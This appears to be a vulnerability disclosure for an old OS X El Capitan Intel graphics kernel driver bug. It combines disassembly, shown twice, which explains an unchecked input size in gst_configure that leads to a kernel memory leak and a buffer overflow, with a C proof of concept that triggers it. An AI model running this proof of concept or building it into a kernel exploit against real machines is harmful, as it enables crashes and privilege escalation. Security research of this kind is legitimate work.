1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 |
/* Source: https://code.google.com/p/google-security-research/issues/detail?id=596 The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure (passed in rsi) but doesn't check the size of that structure (passed in rcx.) __text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near __text:000000000002A366 ; DATA XREF: __const:000000000005BF88o __text:000000000002A366 pushrbp __text:000000000002A367 mov rbp, rsp __text:000000000002A36A pushr15 __text:000000000002A36C pushr14 __text:000000000002A36E pushr12 __text:000000000002A370 pushrbx __text:000000000002A371 mov rax, rdx __text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data __text:000000000002A377 mov r14, rdi __text:000000000002A37A mov edx, [r15+800h]; <-- size never checked -> oob read __text:000000000002A381 cmp edx, 200h __text:000000000002A387 jbe short loc_2A3AD __text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"... __text:000000000002A390 lea rsi, aGst_configure ; "gst_configure" __text:000000000002A397 mov ecx, 200h __text:000000000002A39C xor eax, eax __text:000000000002A39E call_IOLog here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200. This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read. The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log which we can read from userspace allowing us to disclose some kernel memory. However, we can do more: r15 is passed to IntelAccelerator::gstqConfigure: mov rsi, r15 call__ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec where we reach the following code: __text:000000000001DC29 mov edx, [rsi+800h] __text:000000000001DC2F shl rdx, 2; size_t __text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void * __text:000000000001DC3A call_memcpy here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer. Since the struct input comes from a mach message this heap grooming shouldn't be that difficult. clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit repro: while true; ./ig_gl_gst_oob_read; done Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ // ianbeer /* Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure) The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure (passed in rsi) but doesn't check the size of that structure (passed in rcx.) __text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near __text:000000000002A366 ; DATA XREF: __const:000000000005BF88o __text:000000000002A366 pushrbp __text:000000000002A367 mov rbp, rsp __text:000000000002A36A pushr15 __text:000000000002A36C pushr14 __text:000000000002A36E pushr12 __text:000000000002A370 pushrbx __text:000000000002A371 mov rax, rdx __text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data __text:000000000002A377 mov r14, rdi __text:000000000002A37A mov edx, [r15+800h]; <-- size never checked -> oob read __text:000000000002A381 cmp edx, 200h __text:000000000002A387 jbe short loc_2A3AD __text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"... __text:000000000002A390 lea rsi, aGst_configure ; "gst_configure" __text:000000000002A397 mov ecx, 200h __text:000000000002A39C xor eax, eax __text:000000000002A39E call_IOLog here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200. This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read. The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log which we can read from userspace allowing us to disclose some kernel memory. However, we can do more: r15 is passed to IntelAccelerator::gstqConfigure: mov rsi, r15 call__ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec where we reach the following code: __text:000000000001DC29 mov edx, [rsi+800h] __text:000000000001DC2F shl rdx, 2; size_t __text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void * __text:000000000001DC3A call_memcpy here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer. Since the struct input comes from a mach message this heap grooming shouldn't be that difficult. clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit repro: while true; ./ig_gl_gst_oob_read; done Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0; outputScalarCnt = 0; outputStructCnt = 0; inputStructCnt = 0x30; err = IOConnectCallMethod( conn, 0x205, //gst_operation inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); printf("that was an error in the first call, don't care!\n"); } inputStructCnt = 0x1; err = IOConnectCallMethod( conn, 0x206, //gst_configure inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } } |